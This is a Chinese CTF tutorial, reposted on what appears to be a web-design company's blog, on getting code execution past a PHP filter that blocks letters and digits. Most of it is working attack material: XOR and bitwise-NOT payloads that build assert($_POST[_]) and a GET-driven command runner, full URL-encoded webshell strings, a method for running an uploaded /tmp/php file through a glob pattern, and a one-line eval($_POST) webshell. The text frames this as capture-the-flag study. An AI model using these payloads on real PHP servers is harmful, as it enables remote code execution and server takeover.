CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

這篇文章將為大家詳細(xì)講解有關(guān)CTF如何繞過(guò)字符數(shù)字構(gòu)造shell,小編覺(jué)得挺實(shí)用的,因此分享給大家做個(gè)參考,希望大家閱讀完這篇文章后可以有所收獲。

成都創(chuàng)新互聯(lián)-專業(yè)網(wǎng)站定制、快速模板網(wǎng)站建設(shè)、高性價(jià)比灤南網(wǎng)站開(kāi)發(fā)、企業(yè)建站全套包干低至880元,成熟完善的模板庫(kù),直接使用。一站式灤南網(wǎng)站制作公司更省心,省錢,快速模板網(wǎng)站建設(shè)找我們,業(yè)務(wù)覆蓋灤南地區(qū)。費(fèi)用合理售后完善,10年實(shí)體公司更值得信賴。

測(cè)試源碼

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
//如果shell中不還有字母和數(shù)字,則可以執(zhí)行eval語(yǔ)句

異或繞過(guò)

異或的符號(hào)是^,是一種運(yùn)算符。

1 ^ 1 = 0
1 ^ 0 = 1
0 ^ 1 = 1
0 ^ 0 = 0
異或腳本
<?php
for($i=128;$i<255;$i++){
echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n";
}
?>

運(yùn)行該腳本我們知道

%81^%FF=>~     %82^%FF=>}       %83^%FF=>|
%84^%FF=>{     %85^%FF=>z       %86^%FF=>y
%87^%FF=>x     %88^%FF=>w       %89^%FF=>v
%8A^%FF=>u     %8B^%FF=>t       %8C^%FF=>s
%8D^%FF=>r     %8E^%FF=>q       %8F^%FF=>p
%90^%FF=>o     %91^%FF=>n       %92^%FF=>m
%93^%FF=>l     %94^%FF=>k       %95^%FF=>j
%96^%FF=>i     %97^%FF=>h       %98^%FF=>g
%99^%FF=>f     %9A^%FF=>e       %9B^%FF=>d
%9C^%FF=>c     %9D^%FF=>b       %9E^%FF=>a
%9F^%FF=>`     %A0^%FF=>_       %A1^%FF=>^
%A2^%FF=>]     %A3^%FF=>\       %A4^%FF=>[
%A5^%FF=>Z     %A6^%FF=>Y       %A7^%FF=>X
%A8^%FF=>W     %A9^%FF=>V       %AA^%FF=>U
%AB^%FF=>T     %AC^%FF=>S       %AD^%FF=>R    
%AE^%FF=>Q     %AF^%FF=>P       %B0^%FF=>O
%B1^%FF=>N     %B2^%FF=>M       %B3^%FF=>L
%B4^%FF=>K     %B5^%FF=>J       %B6^%FF=>I
%B7^%FF=>H     %B8^%FF=>G       %B9^%FF=>F
%BA^%FF=>E     %BB^%FF=>D       %BC^%FF=>C
%BD^%FF=>B     %BE^%FF=>A       %BF^%FF=>@
%C0^%FF=>?

通過(guò)這種方法構(gòu)造一個(gè)phpinfo()函數(shù)

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo
我們知道,經(jīng)過(guò)一次get傳參會(huì)進(jìn)行一次URL解碼,所以我們可以將字符先進(jìn)行url編碼再進(jìn)行異或得到我們想要的字符。 %A0^%FF=>_ 
%B8^%FF=>G
%BA^%FF=>E  
%AB^%FF=>T 
<?php
$a = urldecode('%ff%ff%ff%ff');
$b = urldecode('%a0%b8%ba%ab');
echo $a^$b;
//輸出_GET

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

取反繞過(guò)

取反的符號(hào)是~,也是一種運(yùn)算符。在數(shù)值的二進(jìn)制表示方式上,將0變?yōu)?,將1變?yōu)?。

直接看如何構(gòu)造phpinfo()

(~%8F%97%8F%96%91%99%90)();

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

可以看出,自己對(duì)phpinfo取反,會(huì)產(chǎn)生一些不可見(jiàn)字符,可對(duì)phpinfo取反后再進(jìn)行url編碼。

取反腳本
<?php
$a = urlencode(~'phpinfo');
echo $a;
//%8F%97%8F%96%91%99%90

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

構(gòu)造assert字符

第一種方法
%9E^%FF=>a
%8C^%FF=>s
%9A^%FF=>e
%8D^%FF=>r
%8B^%FF=>t

%A0^%FF=>_    
%AF^%FF=>P 
%B0^%FF=>O
%AC^%FF=>S
%AB^%FF=>T 

$_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF";
$__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF";
$___=$$__;
$_($___[_]);

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

第二種方法

腳本

<?php
$shell = "assert";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "<br>";
echo $result2;

function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}

這個(gè)腳本可以將“assert”變成兩個(gè)字符串異或的結(jié)果,通過(guò)更改shell的值可以構(gòu)造出我們想要的字符串。為了便于表示,生成字符串的范圍為33-126(可見(jiàn)字符)。

<?php
$_ = "!((%)("^"@[[@[\\";   //構(gòu)造出assert
$__ = "!+/(("^"~{`{|";   //構(gòu)造出_POST
$___ = $$__;   //$___ = $_POST
$_($___[_]);   //assert($_POST[_]);
?shell=%24_+%3d+%22!((%25)(%22^%22%40[[%40[\\%22%3b%24__+%3d+%22!%2b%2f((%22^%22~{`{|%22%3b%24___+%3d+%24%24__%3b%24_(%24___[_])%3b

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell


$_ = "!((%)("^"@[[@[\\";

$__ = "!+/(("^"~{`{|";  
$___ = $$__; 
$_($___[_]);

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

%24%5f%3d%22%21%28%28%25%29%28%22%5e%22%40%5b%5b%40%5b%5c%5c%22%3b%24%5f%5f%3d%22%21%2b%2f%28%28%22%5e%22%7e%7b%60%7b%7c%22%3b%24%5f%5f%5f%3d%24%24%5f%5f%3b%24%5f%28%24%5f%5f%5f%5b%5f%5d%29%3b

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

第三種方法
<?php
$a = urlencode(~'assert');
echo $a;
//%9E%8C%8C%9A%8D%8B

$b = urlencode(~'_POST');
//%A0%AF%B0%AC%AB
<?php
$_ = ~"%9e%8c%8c%9a%8d%8b";   //得到assert,此時(shí)$_="assert"
$__ = ~"%a0%af%b0%ac%ab";   //得到_POST,此時(shí)$__="_POST"
$___ = $$__;   //$___=$_POST
$_($___[_]);   //assert($_POST[_])
?shell=$_=~"%9e%8c%8c%9a%8d%8b";$__=~"%a0%af%b0%ac%ab";$___=$$__;$_($___[_]);

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

PHP5和7的區(qū)別

  • PHP5中,assert()是一個(gè)函數(shù),我們可以用=assert;_()這樣的形式來(lái)執(zhí)行代碼。但在PHP7中,assert()變成了一個(gè)和eval()一樣的語(yǔ)言結(jié)構(gòu),不再支持上面那種調(diào)用方法。但PHP7.0.12下還能這樣調(diào)用。

    CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

  • CTF如何繞過(guò)字符數(shù)字構(gòu)造shellCTF如何繞過(guò)字符數(shù)字構(gòu)造shell

CTF如何繞過(guò)字符數(shù)字構(gòu)造shellCTF如何繞過(guò)字符數(shù)字構(gòu)造shell

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

PHP5中,是不支持($a)()這種調(diào)用方法的,但在PHP7中支持這種調(diào)用方法,因此支持這么寫(xiě)('phpinfo')();

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

過(guò)濾了_

?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>

分析下這個(gè)Payload,?>閉合了eval自帶的<?標(biāo)簽。接下來(lái)使用了短標(biāo)簽。{}包含的PHP代碼可以被執(zhí)行,~"%a0%b8%ba%ab"為"_GET",通過(guò)反引號(hào)進(jìn)行shell命令執(zhí)行。最后我們只要GET傳參%a0即可執(zhí)行命令。

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

過(guò)濾了$

PHP7

在PHP7中,我們可以使用($a)()這種方法來(lái)執(zhí)行命令。所以可以用取反構(gòu)造payload執(zhí)行命令。(~%8F%97%8F%96%91%99%90)();執(zhí)行phpinfo函數(shù),第一個(gè)括號(hào)中可以是任意的表達(dá)式。但是這里不能用assert()來(lái)執(zhí)行函數(shù),因?yàn)閜hp7不支持assert()函數(shù)。

PHP5

在PHP5中不再支持($a)()方法來(lái)調(diào)用函數(shù),在膜拜P神的無(wú)字母數(shù)字webshell之提高篇后,有了新的啟發(fā)。如何在無(wú)字母,數(shù)字,$的系統(tǒng)命令下getshell?我們利用在Linux shell下兩個(gè)知識(shí)點(diǎn)

1,shell下可以利用.來(lái)執(zhí)行任意腳本

2,Linux文件名支持glob通配符代替

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

從圖可以看出,我們可以成功用.+文件名來(lái)執(zhí)行文件,但是當(dāng)使用通配符來(lái)執(zhí)行文件時(shí),系統(tǒng)會(huì)執(zhí)行匹配到的第一個(gè)文件。

在這兩個(gè)條件下我們可以想到,如果我們可以上傳一個(gè)文件,用.來(lái)執(zhí)行這個(gè)文件就可以成功getshell。

那么我們?cè)趺瓷蟼魑募??上傳文件成功后文件又保存在哪里?怎么匹配?zhí)行?

首先我們可以發(fā)送一個(gè)上傳文件的POST包,此時(shí)PHP會(huì)將我們上傳的文件保存在臨時(shí)文件夾下,默認(rèn)的文件名是/tmp/phpXXXXXX,文件名最后6個(gè)字符是隨機(jī)的大小寫(xiě)字母。

現(xiàn)在我們可以利用glob通配符匹配該文件,我們知道

*可以代替0個(gè)及以上任意文件

?可以代表1個(gè)任意字符

[^a]可以用來(lái)判斷這個(gè)位置的字符是不是a

[0-9]可以用來(lái)限制范圍

通過(guò)ascii碼表我們知道,可見(jiàn)大寫(xiě)字母@[之間,所以我們可以利用[@-[]來(lái)表示大寫(xiě)字母。

綜上,我們可以利用. /???/????????[@-[]來(lái)匹配/tmp/phpXXXXXX

實(shí)戰(zhàn)演練
<?php
if(isset($_GET['evil'])){
if(strlen($_GET['evil'])>25||preg_match("/[\w$=()<>'\"]/", $_GET['evil'])){
die("danger!!");
}
@eval($_GET['evil']);
}
highlight_file(__FILE__);
?>

通過(guò)編寫(xiě)腳本看看哪些可見(jiàn)字符沒(méi)有被過(guò)濾

<?php
for ($ascii = 0; $ascii < 256; $ascii++) {
if (!preg_match("/[\w$=()<>'\"]/", chr($ascii))) {
echo (chr($ascii));
}
}
?>

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

可以發(fā)現(xiàn)過(guò)濾了字母,數(shù)字,`$`,`_`,`()`等,但`和  .  還沒(méi)有被過(guò)濾。由于過(guò)濾了()所以不論P(yáng)HP版本是5或者7,都不能執(zhí)行($a)(),所以就沒(méi)有必要去判斷PHP版本。由此可以想到上傳一個(gè)小馬文件,然后用 `  來(lái)執(zhí)行文件。

首先,我們應(yīng)該上傳寫(xiě)一個(gè)表單上傳

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<form action="http://ip:*****/" method="post" enctype="multipart/form-data">   
<input type="file" name="file">
<input type="submit" value="提交">
</form>
</body>
</html>

提交一個(gè)1.txt的文件,這個(gè)文件會(huì)被保存在這個(gè)/tmp/phpXXXXXX臨時(shí)文件夾下,我們執(zhí)行這個(gè)臨時(shí)文件夾就是執(zhí)行1.txt文件里面的內(nèi)容。

我們?cè)诎?.txt中寫(xiě)入ls,并把執(zhí)行完1.txt文件返回的內(nèi)容(即執(zhí)行l(wèi)s返回的內(nèi)容)保存在var/www/html目錄下的abc文件中

var/www/html是Apache的默認(rèn)路徑,我們也可以直接寫(xiě)ls />abc

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

接著在ip地址后添加/abc,可以看到成功返回執(zhí)行1.txt后的內(nèi)容。

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

直接cat flag

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

我們還可以上傳一個(gè)小馬文件get flag

例如我們創(chuàng)建一個(gè)hello.php的文件,文件內(nèi)容為

echo "<?php eval(\$_POST['shell']);"

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

然后cat flag

CTF如何繞過(guò)字符數(shù)字構(gòu)造shell

關(guān)于“CTF如何繞過(guò)字符數(shù)字構(gòu)造shell”這篇文章就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,使各位可以學(xué)到更多知識(shí),如果覺(jué)得文章不錯(cuò),請(qǐng)把它分享出去讓更多的人看到。

網(wǎng)站欄目:CTF如何繞過(guò)字符數(shù)字構(gòu)造shell
分享路徑:http://muchs.cn/article22/ghoocc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供ChatGPT網(wǎng)站收錄、網(wǎng)站排名App開(kāi)發(fā)、網(wǎng)站建設(shè)、用戶體驗(yàn)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

成都網(wǎng)站建設(shè)公司